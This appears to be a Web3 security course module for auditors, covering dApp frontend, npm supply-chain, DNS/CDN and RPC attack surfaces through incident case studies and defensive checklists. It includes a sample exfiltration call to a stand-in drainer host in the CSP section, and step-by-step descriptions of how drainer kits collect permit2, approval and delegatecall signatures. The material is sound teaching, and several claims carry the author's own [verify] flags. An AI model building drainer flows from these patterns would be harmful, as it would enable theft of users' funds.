Week 13 — Frontend, dApp & Infrastructure

“The wallet shows what the user signs. The contract trusts what it receives. Everything in between — the HTML loaded from a CDN, the JS bundle pulled from npm, the RPC node that answers eth_call, the indexer that decides what the UI displays, the relayer that submits the tx — is an unaudited attack surface that has drained more than nine figures of user funds since 2021. A protocol auditor who scopes only Solidity is auditing the half of the system that didn’t get hacked.”

Tags: web3-security frontend infrastructure supply-chain rpc wallet-drainer incident-response Learner: Past Tuan-12-Wallet-AA-Key-Management → understands signing UX and AA → ready for the off-chain attack surface Time: 7 days (5–6h/day) Related: Tuan-12-Wallet-AA-Key-Management · Tuan-14-Governance-DAO-Security · Case-BadgerDAO-Frontend-2021 · Case-Galxe-Frontend-Hijack-2023 · Case-Radiant-Capital-2024


1. Context & Why

1.1 The auditor’s reframe of “frontend security”

Junior auditors triage a request as “frontend audit” and instinctively scope it down: “we audit smart contracts, the frontend is a separate engagement.” Senior auditors push back. The reason is structural:

A correct smart contract called with the wrong calldata is exactly as drained as a buggy smart contract called with correct calldata. The user does not distinguish. The funds move identically. The recovery path is identical (i.e., often nonexistent).

Everything between the user’s intent and the chain’s state machine is a place where the calldata can be changed without the user noticing. Concretely, the value-bearing trust seams a “Web3 application” exposes are:

flowchart LR
  U[User intent<br>send 1 ETH to vault] --> DNS[DNS / Domain]
  DNS --> CDN[CDN / Hosting<br>Cloudflare / Vercel / IPFS gateway]
  CDN --> HTML[HTML / JS bundle]
  HTML --> NPM[npm dep tree<br>500+ transitive packages]
  HTML --> W[Wallet<br>EIP-1193 provider]
  HTML --> RPC[RPC endpoint<br>Infura / Alchemy / public]
  HTML --> IDX[Indexer / Subgraph<br>The Graph / Goldsky]
  W --> RPC
  RPC --> MEM[Mempool / Relay]
  MEM --> P[Block Proposer]
  P --> SC[Smart Contract]
  REL[Relayer / Keeper<br>Gelato / Chainlink Auto] --> MEM
  IDX --> HTML
  style DNS fill:#ffcccc
  style CDN fill:#ffcccc
  style HTML fill:#ffcccc
  style NPM fill:#ffcccc
  style W fill:#fff2cc
  style RPC fill:#ffcccc
  style IDX fill:#ffcccc
  style REL fill:#fff2cc
  style MEM fill:#fff2cc

Red = trust seams outside the contract. Every red box has caused a nine-figure incident in the last five years. The contract itself was usually fine.

The unifying meta-model from Tuan-05-Vulnerability-Classes-Part-1 applies here too:

The user’s mental model assumes the bytes between their hand and the chain are unchanged. The reality is that any of a dozen intermediaries can change them — and the wallet has no idea what the “intended” bytes were.

This is the week we make that surface concrete and auditable.

1.2 Why “frontend bugs” got worse, not better

Three trends since 2021 have made this surface more dangerous, not less:

  1. Approval-based UX won. Permit, permit2, setApprovalForAll, EIP-7702 set-code-tx — modern dApps minimize on-chain transactions by collecting off-chain signatures that the protocol later submits. A signature is a check the user wrote; the protocol decides when to cash it. A compromised frontend doesn’t need to publish a transaction — it needs to collect one signature.
  2. Build pipelines got longer. A 2018 dApp had a handful of dependencies. A 2026 dApp has 500–1500 npm packages, half of them transitively maintained by people the protocol team has never heard of, plus a CI pipeline, a feature-flag service, an analytics injector, a wallet-kit SDK, and a CDN-side worker. Each is a writable input to what the user’s browser executes.
  3. Wallets blind-sign more than ever. Hardware wallets still display “approve transaction” hashes the user can’t decode. Smart accounts (ERC-4337) display UserOp data that maps unintuitively to what is actually being authorized. Phishing converged on a few high-conversion patterns: drainer kits, permit2 abuse, setApprovalForAll.

The Bybit incident in February 2025 — $1.4 billion drained from a cold wallet via injected JavaScript in the Safe{Wallet} UI that swapped a routine execTransaction for a delegatecall to an attacker contract — is the canonical 2025 example. [verify Bybit details; the public analysis is from NCC Group, Sygnia, and Halborn]. The smart contract did exactly what it was told. What it was told changed in the last 200 milliseconds before the signer clicked.

1.3 What you’ll be able to do by Friday

  • Trace an end-to-end wallet-connect → sign → submit flow and name every component that can lie.
  • Audit a wagmi/viem integration for the EIP-1193 / EIP-6963 / WalletConnect surface.
  • Identify a phishing-style sign request that does not match the displayed action (specifically: permit/permit2 abuse).
  • Read a project’s package.json + package-lock.json and articulate its supply-chain risk profile.
  • Audit a Forta detection bot configuration and propose at least one custom detector.
  • Write the first 60 minutes of an incident-response runbook for “frontend hijacked, drainer live.”

1.4 Primary references

SourceURLStatus
EIP-1193 — Ethereum Provider JavaScript APIhttps://eips.ethereum.org/EIPS/eip-1193Final
EIP-6963 — Multi Injected Provider Discoveryhttps://eips.ethereum.org/EIPS/eip-6963Final
WalletConnect v2 Specshttps://specs.walletconnect.com/2.0/Current
WalletConnect v2 Trail of Bits Audit (2022)https://walletconnect.com/blog/walletconnect-v2-0-s-independent-security-audit-by-trail-of-bitsCurrent
wagmi docshttps://wagmi.sh/Current
viem docshttps://viem.sh/Current
ethers v6 docshttps://docs.ethers.org/v6/Current
BadgerDAO Technical Post-Mortem (2021)https://www.badger.tools/technical-post-mortemHistorical (incident reference)
Curve Finance frontend incident (Aug 2022)https://curve.substack.com/p/august-10-2022-curve-frontend-hacked + Rekt NewsHistorical
Galxe DNS Incident Statement (Oct 2023)https://help.galxe.com/en/articles/8452958-october-6th-dns-security-incident-statement-guideHistorical
Ledger Connect Kit Security Incident Report (Dec 2023)https://www.ledger.com/blog/security-incident-reportHistorical
event-stream incident (Nov 2018)https://blog.npmjs.org/post/180565383195/details-about-the-event-stream-incidentHistorical
ua-parser-js incident (Oct 2021)https://www.helpnetsecurity.com/2021/10/26/ua-parser-js-compromised/Historical
IconBurst (Jul 2022)https://www.reversinglabs.com/blog/iconburst-npm-software-supply-chain-attack-grabs-data-from-apps-websitesHistorical
MDN Subresource Integrity (SRI)https://developer.mozilla.org/en-US/docs/Web/Security/Defenses/Subresource_IntegrityCurrent
MDN Content Security Policy (CSP)https://developer.mozilla.org/en-US/docs/Web/HTTP/CSPCurrent
The Graph docshttps://thegraph.com/docs/Current
Gelato Network docshttps://docs.gelato.network/Current
Chainlink Automation docshttps://docs.chain.link/chainlink-automationCurrent
Forta docshttps://docs.forta.network/Current
Tenderly Web3 Actions & Alertshttps://docs.tenderly.co/web3-actions / https://docs.tenderly.co/alertsCurrent
OpenZeppelin Defender docshttps://docs.openzeppelin.com/defender[verify — Defender announced shutdown 2026-07-01; OSS replacements in progress]
NCC Group on Bybit hack (2025)https://www.nccgroup.com/research/in-depth-technical-analysis-of-the-bybit-hack/[verify]

2. The Wallet Connection Flow

2.1 EIP-1193 — the original provider interface

EIP-1193 defines what a “Web3 provider” is from the dApp’s point of view: a JavaScript object exposing a single request({ method, params }) method (Promise-returning) plus an event emitter for accountsChanged, chainChanged, disconnect, connect, message.

// EIP-1193 minimal surface
interface Provider {
  request(args: { method: string, params?: any[] }): Promise<any>;
  on(eventName: string, listener: (...args: any[]) => void): void;
  removeListener(eventName: string, listener: Function): void;
}
 
// Typical dApp connect flow
const accounts = await window.ethereum.request({ method: 'eth_requestAccounts' });
const chainId = await window.ethereum.request({ method: 'eth_chainId' });
const sig = await window.ethereum.request({
  method: 'personal_sign',
  params: [message, accounts[0]]
});

For years, the convention was that any browser-extension wallet that wanted to be reachable injected itself into window.ethereum. This was a race condition. Two extensions both writing the same property at load time made the “winner” the last-loaded extension. Users with MetaMask + Coinbase + Rabby installed could not deterministically pick which signed.

Audit-relevant property of EIP-1193: there is no integrity binding between the call the dApp sends and the prompt the wallet shows. The wallet receives {method, params}, then independently decides what UI to render to the user. If method = "eth_signTypedData_v4" and params[1] is a permit2 blob authorizing 2^256-1 USDC, the wallet’s UX has to be the one to surface that, not the dApp. Several wallets historically rendered such permits as opaque blobs, which is why drainer kits target this surface.

2.2 EIP-6963 — multi-wallet discovery, the right way

EIP-6963 (eips.ethereum.org/EIPS/eip-6963) replaces the window.ethereum monopoly with a window-event-based discovery protocol:

// Wallet side — announces itself
window.dispatchEvent(new CustomEvent('eip6963:announceProvider', {
  detail: Object.freeze({
    info: {
      uuid: 'd77b3361-2123-4c1f-a1e3-1f4d3a9c2e7e',
      name: 'MetaMask',
      icon: 'data:image/svg+xml;base64,...',
      rdns: 'io.metamask',
    },
    provider: metamaskProvider, // EIP-1193 compliant
  }),
}));
 
// dApp side — discovers all available wallets
const providers = [];
window.addEventListener('eip6963:announceProvider', (event) => {
  providers.push(event.detail);
});
window.dispatchEvent(new Event('eip6963:requestProvider'));

Audit angle for EIP-6963:

CheckWhy it matters
Does the dApp still fall back to window.ethereum as a default-pick?If yes, a malicious extension that injects first can be selected silently. The dApp should prompt the user to pick from the announced set.
Does the dApp trust info.rdns for identification?rdns is a self-claimed reverse-DNS string. A malicious extension can claim io.metamask. The user, not the dApp, must visually verify.
Does the dApp re-announce requestProvider after late-loading wallets?Some wallets register late; missing the announcement = invisible wallet.
Is the provider object frozen / cached securely?A Object.freeze on the announce side is the spec. Verify the dApp doesn’t mutate or expose it back to the page in a way that lets other scripts intercept.

The 2024–2026 trend: every modern wallet kit (RainbowKit, ConnectKit, Web3Modal/Reown AppKit, wagmi’s connectors) is EIP-6963 first. If you audit a dApp still reaching directly into window.ethereum, that’s not just a UX miss — it’s a security finding because it forces the user back into the race-condition era and gives malicious extensions an easy seat.

2.3 WalletConnect v2 — sessions, pairing, relays

WalletConnect is the protocol that lets a mobile wallet sign for a desktop dApp without the wallet being in the browser. v2 (the only version you should audit; v1 is deprecated and known to have replay issues) decouples pairing (the dApp ↔ wallet trust handshake) from session (the persistent permissioned context).

sequenceDiagram
  participant dApp
  participant Relay as WalletConnect Relay (WebSocket)
  participant Wallet as Mobile Wallet

  dApp->>Relay: Generate pairing URI (topic + symKey)
  Note over dApp: Display QR code with URI
  Wallet->>Wallet: Scan QR → derive topic + symKey
  Wallet->>Relay: Subscribe to pairing topic
  dApp->>Relay: Encrypted session proposal (chains, methods, events)
  Relay->>Wallet: Forward proposal
  Wallet->>Wallet: User approves → derives session topic + new symKey
  Wallet->>Relay: Encrypted session approval
  Relay->>dApp: Forward approval
  Note over dApp,Wallet: Session established; dApp + wallet now share E2E-encrypted channel via Relay
  dApp->>Relay: encrypted request (eth_sendTransaction)
  Relay->>Wallet: forward
  Wallet->>Wallet: User approves on device
  Wallet->>Relay: encrypted response (signed tx)
  Relay->>dApp: forward

Critical security properties of WalletConnect v2:

PropertyWhat it meansAudit angle
Relay is a dumb pipeRelay sees only encrypted ciphertext + topic id; cannot read messagesVerify the dApp uses the official relay or a relay it trusts; a malicious relay can DoS but not decrypt
Pairing URI carries symKeyAnyone with the URI can decrypt the pairing topicTreat pairing URI like a password; don’t log or proxy it
Session permissions are explicitmethods and chains arrays in the session proposalAudit that requested methods are minimal — personal_sign + eth_sendTransaction is suspicious if the app only needs reads
Session expirySessions have a TTL (default 7 days at time of writing)Audit re-auth UX; sessions silently expire and re-request — a phishing site can exploit the re-prompt

The Trail of Bits audit of v2 (March 2022) flagged a few concerns worth carrying into reviews: local-storage XSS exposure of session keychain, lack of replay protection in the initial spec (later patched), and a derived-key zero edge case in x25519 if rejectZero is not enabled. These are SDK-level issues. The audit angle for a consumer of WalletConnect is: which SDK version is pinned, and does the app run on a domain that has any cross-origin XSS exposure that could exfiltrate local-storage session keys?

2.4 The modern client stack: wagmi + viem (and ethers v6 for legacy)

viem is a low-level TypeScript Ethereum client that replaced ethers v5 as the de-facto for new projects. It’s tree-shakeable, typed end-to-end, and explicit about every RPC call. wagmi sits on top of viem and provides React hooks: useAccount, useConnect, useReadContract, useWriteContract, useSimulateContract, useSignTypedData.

Security-relevant features of the wagmi+viem stack:

  • useSimulateContract: runs eth_call against the target with the user’s account as caller before the user signs. Catches reverts before they cost gas. Crucially, the simulation runs against whatever RPC the dApp configured — if that RPC is malicious, the simulation is a lie (more in §4).
  • signTypedData is EIP-712 native: the dApp passes a typed-data object; viem encodes it and routes via eth_signTypedData_v4. The wallet receives a structured payload it can render human-readably — if it implements EIP-712 rendering. (MetaMask does; many embedded wallets do not.)
  • chains array is explicit per-project: viem requires you to configure the chain. The library does not silently accept “whatever the wallet says is the current chain id.” This prevents a class of dApp bugs where a user is connected to mainnet but the dApp thought they were on a testnet.
  • @wagmi/connectors includes EIP-6963-aware injected connector, WalletConnect connector, Coinbase Wallet connector, Safe connector. Audit which connectors are bundled — bundling a connector you don’t intend to support enlarges the attack surface (drainers can target your dApp through it).

ethers v6 is still in widespread use for older dApps. Auditor concerns specific to ethers:

  • JsonRpcProvider with a public RPC URL — same trust assumption as viem.
  • Wallet class can hold private keys in process memory; never accept user PKs in a frontend.
  • v6 signature methods: signMessage, signTypedData — both correctly produce EIP-191 / EIP-712 outputs; the wallet UX issue is independent of the library.

2.5 What auditors flag in connection-flow code

Add to the checklist:

  • EIP-6963 implemented; falls back to legacy injection only with a user-visible warning.
  • WalletConnect SDK pinned to a current major version (not v1, not an old v2 patch with known issues).
  • WalletConnect project id is environment-scoped (not committed to public repo as-is for production).
  • Session permissions are minimal; no blanket eth_sendTransaction if the app uses only reads.
  • No private-key input field anywhere in the dApp UI (sounds obvious; phishing clones include them; legitimate dApps should bail loudly if a paste of a 64-char hex string is detected).
  • Chain id is verified before any signing prompt; if chainId from the wallet doesn’t match the chain the dApp configured, refuse and prompt to switch.
  • All signing requests go through a single application-layer function that logs / surfaces what is being signed (for both debug and audit trail purposes).

3. Frontend Attack Surfaces

This is where most non-contract Web3 losses live. Each subsection is one attack surface, with at least one canonical incident.

3.1 DNS hijack

DNS hijacking is the attacker convincing the world’s resolvers to route your domain to their server. There are three common vectors:

  1. Registrar phish / social-engineering. The attacker contacts the registrar’s support pretending to be the protocol team, with forged ID documents, and asks for a NS-record change. This is the Galxe (Oct 2023) incident: a threat actor impersonated Galxe staff to Dynadot support, bypassed support’s process with falsified documentation, and changed NS records. Users hitting galxe.com saw a phishing UI; approximately 1,120 users lost ~$270k in roughly two hours.
  2. DNS provider account compromise. The attacker steals credentials at the DNS provider (or, in some cases, the registrar admin account itself). Curve (Aug 2022): the attacker compromised the nameserver of iwantmyname and pointed curve.fi to a clone. ~$575k drained. Curve subsequently moved to curve.finance and recommended that protocols use ENS as a discoverability layer for the canonical IPFS hash of the UI.
  3. DNS cache poisoning / route hijack. Less common at the user level (modern resolvers + DNSSEC mitigate), more common at BGP / ISP level for targeted attacks.

Defense-in-depth checklist for DNS:

  • Registrar with hardware-MFA-required transfer-lock (Namecheap, Gandi, Cloudflare Registrar with FIDO2).
  • Registrar lock + DNSSEC.
  • DNS records monitored externally (Forta has a community detector for nameserver changes; commercial: DNSCheck, RIPE Atlas, your own cron + alert).
  • Out-of-band notice channel (Discord, Twitter, on-chain) so users have a place to verify the domain when in doubt.
  • Canonical interface published on IPFS pinned via at least two providers (e.g., Pinata + Cloudflare Web3 + own node) and ENS record (contenthash) pointing to the IPFS hash. Wallets like MetaMask can resolve name.eth → IPFS hash → ContentID; users with that wallet bypass DNS entirely.

Note on IPFS hijack: ENS pointing to IPFS doesn’t solve the problem fully. If the team’s ENS controller key is compromised, the attacker repoints contenthash to their malicious IPFS hash. ENS controller keys should live in a multisig.

3.2 CDN / hosting compromise (the BadgerDAO archetype)

BadgerDAO, November 2021. The protocol team’s Cloudflare account was used to deploy a Cloudflare Worker (an edge script that runs on every request) that injected JavaScript into the app.badger.com HTML response. The injected script intercepted Web3 transactions and prompted users to sign an extra setApprovalForAll-style approval to an attacker address. Loss: ~$120M.

The attack post-mortem (badger.tools) flagged several details every auditor should internalize:

DetailLesson
Attacker had an unauthorized Cloudflare API key created without team knowledgeAudit all API keys with write access to hosting/CDN/DNS; many providers list keys with read+write as a default
Attacker deployed the worker only periodically, often for minutesDetection by “did the script change today?” is insufficient; need continuous integrity checks
Worker targeted only wallets with balances above a threshold, skipped known team multisig signersStealth — explains why the attack ran for ~5 weeks before disclosure
Worker used different hash on each deploymentStatic IOC matching (a single content hash) doesn’t catch this; need behavioral signatures (script attempts to modify wallet RPCs, etc.)

Defense-in-depth checklist for hosting:

  • Inventory every API key with write access to your CDN / hosting / DNS / pinning service. Rotate quarterly. Use scoped tokens (read-only for analytics, write-only for the CI deployer, etc.).
  • MFA required for all admin accounts; FIDO2 hardware key beats TOTP. SMS 2FA is not acceptable for prod admin.
  • Cloudflare Workers / Vercel Edge Functions / Netlify Edge Functions: treat each as a deployable like the application itself. Every change should go through CI, not console clicks.
  • Audit-log monitoring: Cloudflare, Vercel, Netlify all emit audit logs. Forward them to a SIEM or at minimum a Discord webhook the security team reads daily.
  • Integrity-monitoring of the deployed bundle from external vantage: a cron that fetches https://app.yourdao.org/main.<hash>.js from a third-party network (GitHub Actions IP, a Hetzner box, residential proxy) and asserts its SHA-256 matches the deploy. If they diverge, you’ve got a worker-style injection.

3.3 npm supply chain — the recurring nightmare

Frontend bundles include hundreds of packages. Any one of them, or any one of their transitive dependencies, can be compromised. Five canonical incidents to internalize:

3.3.1 event-stream (November 2018) — the credentialed handover

  • Mechanism: original maintainer of event-stream (millions of weekly downloads) handed maintainership to a stranger (“right9ctrl”) who had submitted reasonable PRs. New maintainer added a malicious dependency flatmap-stream with payload that targeted the BitPay/Copay Bitcoin wallet. The payload decrypted itself using the description field from the consuming package’s package.json — so it only activated inside Copay’s build.
  • Lesson: dependency ownership transfer is a security event. There is no notification when a package you depend on transitively changes maintainer. Modern mitigations: GitHub’s dependabot reports maintainer changes (partially); Socket.dev / Snyk advisory feeds; running npm-audit-resolver-style audits.

3.3.2 ua-parser-js (October 2021) — the account takeover

  • Mechanism: maintainer’s npm account compromised. Attacker published three versions (0.7.29, 0.8.0, 1.0.0) of a package downloaded ~8M times per week, with a Monero cryptominer + password-stealer for Windows. Live for ~4 hours before takedown.
  • Lesson: even first-party maintainer accounts are compromise targets. Defense: maintainers should enforce 2FA on npm (npm profile enable-2fa auth-and-writes), and consumers should pin exact versions (not ^ semver) for any dependency in the critical path.

3.3.3 IconBurst (July 2022) — the typosquatting campaign

  • Mechanism: attackers published packages with names a single typo away from popular packages (e.g., ionicio vs ionicons, names mimicking umbrellajs). The malicious packages exfiltrated form data (including credentials) via jQuery AJAX. >25 packages, >27k downloads.
  • Lesson: human typos are exploitable. Defense: lockfiles, code review on every new dependency including transitive new additions (npm ls --depth=0 before and after), automated reviews via Socket.dev (which flags malicious patterns: postinstall scripts, suspicious network IO, obfuscated code, install-time fs writes).

3.3.4 Ledger Connect Kit (December 2023) — the Web3-targeted attack

This one is required reading for any auditor.

  • Mechanism: a former Ledger employee was phished; the attacker used the former employee’s NPM API key (which had not been revoked despite all other accesses being revoked) to publish malicious versions 1.1.5/1.1.6/1.1.7 of @ledgerhq/connect-kit. The malicious code injected the Angel Drainer payload — a wallet drainer that intercepts WalletConnect interactions and routes funds to the attacker.
  • Impact: dApps that pulled @ledgerhq/connect-kit transitively (a long list — many wallet kits depend on it) were live-serving drainer code to users. Live for ~5 hours; ~2 hours of active drain. Direct losses ~$600k; downstream-protocol response cost (audits, comms, rollbacks) much higher.
  • Lessons (multiple, each worth internalizing):
    • Offboarding includes npm publishing rights — most companies forget npm in their access-revocation runbook.
    • API keys bypass 2FA — npm 2FA does not apply to long-lived API tokens. Treat API tokens as exactly as sensitive as a master password.
    • Transitive supply-chain attacks are silent — most affected dApps had no idea they shipped @ledgerhq/connect-kit because it was three levels deep in their tree.
    • The Angel Drainer kit exists as Software-as-a-Service — there is a market for “I have compromised an npm package; rent my drainer payload and I’ll cut you in.” This commoditizes the attack.

3.3.5 Recent: nx, lottie-player, and the trend

[verify recent incidents through 2026] — the pattern continues. Search the npm advisory board and Socket.dev’s blog for the latest. Several incidents in 2024–2025 targeted Web3-adjacent packages specifically because the post-exploit cash-out is on-chain and fast.

Build pipeline / CI compromise — closely related class. The attacker doesn’t need npm; they need write access to the repo, to a maintainer’s GitHub account, or to the CI secrets (Vercel deploy keys, Cloudflare API token, etc.). The 2024 SolarWinds-style for crypto: Radiant Capital, where attackers compromised developer workstations via spear-phishing and used the resulting access to subtly modify transactions during signing. See Case-Radiant-Capital-2024 for the in-depth treatment.

3.3.6 Supply-chain defense-in-depth checklist (frontend)

  • Lockfiles committed (package-lock.json / yarn.lock / pnpm-lock.yaml) and pinned in CI.
  • Exact-version pinning for any package that touches wallet, signing, or network IO. ^0.5.2 is too loose for @ledgerhq/connect-kit.
  • Provenance verification via npm provenance / SLSA (where publisher publishes signed attestation).
  • Build pipeline isolated from the developer workstations: builds happen on a clean CI runner, not someone’s laptop.
  • Reproducible builds: same source + lockfile → same bytes. Compare CI output to a second-environment build before deploy.
  • Dependency review on PR: tools like Socket.dev, Snyk, Renovate’s “package added” alert.
  • Postinstall scripts disabled for unfamiliar packages (npm config set ignore-scripts true for at least audit/CI environments).
  • Bundle integrity served via SRI (§3.5) — even if the npm package is compromised at install-time, a subsequent rebuild with mismatched hashes can be detected by the user’s browser.
  • Outbound network monitoring on CI: a CI build that suddenly POSTs to an unknown host during npm install is the loudest possible signal.
  • A bill of materials (SBOM) per release. CycloneDX or SPDX format. Lets you instantly query “did our v1.4.2 ship a vulnerable version of X?“

3.4 Build pipeline compromise

Slightly distinct from npm: the attacker has commit, CI, or deploy access.

VectorWhat it looks likeDefense
Compromised maintainer GitHubMalicious commit signed with stolen SSH keyRequire signed commits (Sigstore / GPG); branch protection requiring multi-reviewer; FIDO2 on GitHub
Compromised CI secretVERCEL_TOKEN exfiltrated → attacker deploys outside the normal pipelineLimit secret scope (deploy only specific projects); rotate; require manual approval gates for prod deploys
Malicious PR mergedSubtle change that fetches malicious payload at runtimePR review with auditor-style scrutiny on diffs touching fetch, eval, encoded strings, addresses
CI runner compromiseAttacker controls the build environmentUse ephemeral runners; never reuse a build artifact across pipelines; pin runner images
Dev workstation compromiseMalware on a maintainer laptop manipulates npm publish outputsBuild only on CI, never npm publish from a laptop; hardware-key-required signing

The Radiant Capital October 2024 incident is the most studied recent example of dev-workstation compromise leading to an on-chain attack (Case-Radiant-Capital-2024). It’s not strictly frontend but the same threat model — what the signer sees vs. what is actually signed — applies.

3.5 Subresource Integrity, CSP, COOP/COEP

These are the four web-platform defenses every dApp should configure. None of them is a silver bullet; each closes a specific class of attack.

3.5.1 Subresource Integrity (SRI)

MDN SRI. When you load a script from a CDN, you can pin its content hash:

<script
  src="https://cdn.example.com/wallet-sdk-1.2.3.js"
  integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
  crossorigin="anonymous"></script>

The browser will refuse to execute the script if the SHA-384 doesn’t match. This means a compromised CDN can’t silently swap your wallet-kit for a malicious version.

Audit angle:

  • Every external script tag has integrity=... and crossorigin=....
  • Integrity hashes are committed to the repo and regenerated on every dependency upgrade.
  • No eval, Function(), dynamically-injected <script> tags loading from external URLs.

Caveats:

  • SRI doesn’t help if the first-party bundle is compromised at build time (the integrity hash on <script src="/main.js"> is for the bundle you built; if the build itself was compromised, the hash matches the compromised version).
  • SRI requires crossorigin + CORS headers from the CDN. Some CDNs don’t set them by default.

3.5.2 Content Security Policy (CSP)

Content-Security-Policy: default-src 'self';
  script-src 'self' 'sha256-AbC...';
  connect-src 'self' https://rpc.example.io https://*.walletconnect.com;
  frame-ancestors 'none';
  form-action 'self';
  base-uri 'self';

CSP restricts what the page can do: which origins can load scripts, which can be fetch’d, whether eval is allowed, where forms can submit. A correctly-configured CSP makes a XSS injection much less useful because the injected script can’t fetch('https://drainer.evil/exfil') if connect-src doesn’t include it.

Audit angle:

  • CSP is set (header, not meta tag — meta tag CSP has timing gaps).
  • script-src does not include 'unsafe-inline' or 'unsafe-eval'. Many dApps fail this; ask why.
  • connect-src is an explicit allow-list of RPCs, indexers, analytics, and WalletConnect relays. A wallet-drainer’s exfil URL won’t be on this list.
  • CSP report-only mode is enabled at minimum during development to detect overly-strict rules.
  • CSP doesn’t whitelist https: as a wildcard (defeats the point).

3.5.3 COOP / COEP

Cross-Origin-Opener-Policy: same-origin and Cross-Origin-Embedder-Policy: require-corp together enable cross-origin isolation, which:

  • Prevents another window from accessing your window.opener.
  • Enables SharedArrayBuffer / fine-grained timers (relevant for some cryptographic operations).
  • Hardens the page against Spectre-class side channels.

For a wallet UI specifically, COOP matters because a malicious popup can otherwise control the opener — and if the user clicked through a phishing link to your real dApp, a stale popup could intercept. Set both.

3.6 The drainer kit ecosystem (cross-reference Week 12)

Modern wallet drainers (Inferno, Angel, Pink, Monkey, Venom — names rotate as kits get taken down) follow a similar pipeline:

flowchart LR
  P[Phishing site<br>identical to real dApp] --> C[Connect wallet prompt]
  C --> F[Fingerprint wallet:<br>EOA? Safe? Holdings?]
  F --> D{Decide drain method}
  D -->|EOA, ERC-20 holder| A1[Request permit2 signature<br>for max allowance]
  D -->|EOA, NFT holder| A2[Request setApprovalForAll]
  D -->|Safe signer| A3[Request execTransaction<br>with delegatecall payload<br>Bybit pattern]
  D -->|EOA, native ETH| A4[Trick into eth_sendTransaction<br>to attacker]
  A1 --> S[Signature collected]
  A2 --> S
  A3 --> S
  S --> X[Drainer infra submits tx<br>often via Flashbots private bundle<br>to evade frontrunning + mempool watchers]
  X --> R[On-chain drain]

What an auditor flags in a frontend review to make a real dApp drain-resistant:

  • No production code ever requests a signature whose displayed content doesn’t match the displayed action. If the user clicks “Stake 100 USDC”, the signing prompt must read like “stake 100 USDC”, not “approve 2^256-1 USDC for spender 0xWhatever”.
  • Permit / permit2 amounts default to the exact required amount, not type(uint256).max. Power-user mode can opt into max approval explicitly with a warning.
  • The signing payload is rendered to the user in plain language by the dApp before the wallet prompt fires. Don’t rely on the wallet to be smart enough.
  • Cross-check chainId in the signature against the user’s connected chain. A common drainer trick is to request a signature whose embedded chainId is for a different chain (so the user sees nothing happening on their chain but the signature replays on the chain it was bound to).
  • Refuse to display a signing prompt when the wallet is a Safe with delegatecall operation requested unless the action is explicitly an upgrade or module install. The Bybit attack was indistinguishable to the signer; smart-contract UIs should refuse delegatecall by default and require an explicit “yes, this is an upgrade” toggle.

4. RPC Trust

4.1 What an RPC can do (and your dApp probably won’t notice)

Every dApp sends every eth_call, eth_estimateGas, eth_sendRawTransaction, eth_getLogs through an RPC endpoint. Most dApps trust the RPC implicitly. Most users let the wallet pick.

A malicious or compromised RPC can:

AttackResult
Lie about chain head (return stale latest)dApp shows the user old state; signed permits expire before the user notices
Lie about eth_call resultsSimulation says the tx will succeed; in reality it reverts or does something else
Lie about gas estimatesdApp under/over-pays; can DoS the user or make transactions fail consistently
Censor transactionseth_sendRawTransaction returns success but never forwards to mempool
Leak tx contentsRPC operator sees your raw signed tx before mempool — front-running risk
Lie about logs / receiptsdApp displays a tx as confirmed when it wasn’t, or vice versa
Return false contract codeeth_getCode returns one bytecode for the simulation, real chain has different bytecode

This isn’t theoretical. There have been incidents of malicious public RPC providers and there are known cases of RPC operators selling user tx contents as a data product.

4.2 Public vs private RPC

TypeExamplesTrust assumptionWhen to use
Public, free, rate-limitedPublic Ethereum endpoints, default wallet RPCsOperator could lie or rate-limitLow-stakes reads only
Public infra provider, authenticatedInfura, Alchemy, QuickNode, AnkrTrust the provider; SLA contract; corporate accountabilityDefault for most dApps
Multi-provider with failoverSeveral routed via a load balancer (Tatum, dRPC)Distributes trust; one provider lying gets caught by quorumHigh-value flows
Self-hostedYour own geth/reth/nethermind/erigon nodeYou are the trust assumptionHighest-stakes; market makers, large protocols, indexers
DecentralizedPocket Network, Lava, Drpc.orgMulti-operator with on-chain economicsProduction-ready; trust model varies by network

Audit checklist for RPC configuration:

  • Production dApp does not rely on window.ethereum’s default RPC. The dApp specifies its own (http.transports[chainId] in wagmi).
  • RPC URL is not hard-coded with a public API key (the key is leaked the moment the bundle ships). Use rate-limiting on the provider side (e.g., Alchemy’s allowlist by referrer).
  • RPC failover: at least 2 providers; the dApp should detect when one is misbehaving and switch.
  • No private keys are sent to the RPC. Some misconfigured dApps accidentally include sensitive data in calldata (e.g., a permit signature in a public eth_call); auditors should grep for this.

4.3 RPC fingerprinting — verifying your RPC isn’t lying

Two cross-checks worth wiring into a security-conscious dApp:

4.3.1 Cross-chain-head check

const heads = await Promise.all(
  rpcUrls.map(url => fetch(url, {
    method: 'POST',
    body: JSON.stringify({ jsonrpc: '2.0', id: 1, method: 'eth_blockNumber', params: [] }),
  }).then(r => r.json()))
);
const blockNumbers = heads.map(h => parseInt(h.result, 16));
const max = Math.max(...blockNumbers);
const min = Math.min(...blockNumbers);
if (max - min > 3) {
  console.warn(`RPC heads diverge by ${max - min} blocks`, blockNumbers);
}

If three providers agree on block 18,500,000 and one says 18,499,800, that one is either stale or lying. A high-stakes dApp should refuse to operate against a divergent RPC.

4.3.2 Gas-estimate cross-check

For a sensitive transaction, estimate gas against two providers and compare. Significant divergence (>30%) is a flag.

4.3.3 Result-replay against a second provider

For eth_calls that drive UI logic (e.g., “your balance is X”), replay the same call against a second provider after a short delay. If results diverge, surface a warning.

These checks add latency. They’re not for every read. They are for value-bearing reads — the balance you display before someone signs a withdraw, the price you display before a swap, the simulation output you display before a sign.


5. Wallet Drainer Mechanics (cross-reference Tuan-12-Wallet-AA-Key-Management)

A drainer doesn’t break crypto. It tricks the user into producing a signature that, on-chain, authorizes exactly what the attacker wants. The defense is rendering the meaning of the signature, not the bytes.

5.1 The high-conversion attack patterns of 2024–2026

5.1.1 Permit2 max-allowance abuse

Permit2 (github.com/Uniswap/permit2) is a singleton allowance manager. Once a user has approved Permit2 for token X (which they do once, often during the first Uniswap interaction), any contract integrating Permit2 can pull token X via a user-signed permit.

The drainer pattern:

  1. User visits malicious site.
  2. Site connects wallet, reads token holdings via RPC.
  3. Site requests a PermitBatchTransferFrom EIP-712 signature, content: “spender = drainer contract, amounts = all your tokens, deadline = far future”.
  4. User clicks “Sign” assuming it’s the standard Permit2 approval they’ve done before.
  5. Drainer submits the signed message to Permit2; tokens transfer to drainer.

Why this works: the EIP-712 typed-data display in most wallets is opaque. Users see “PermitBatchTransferFrom” and 12 lines of structured fields and click through.

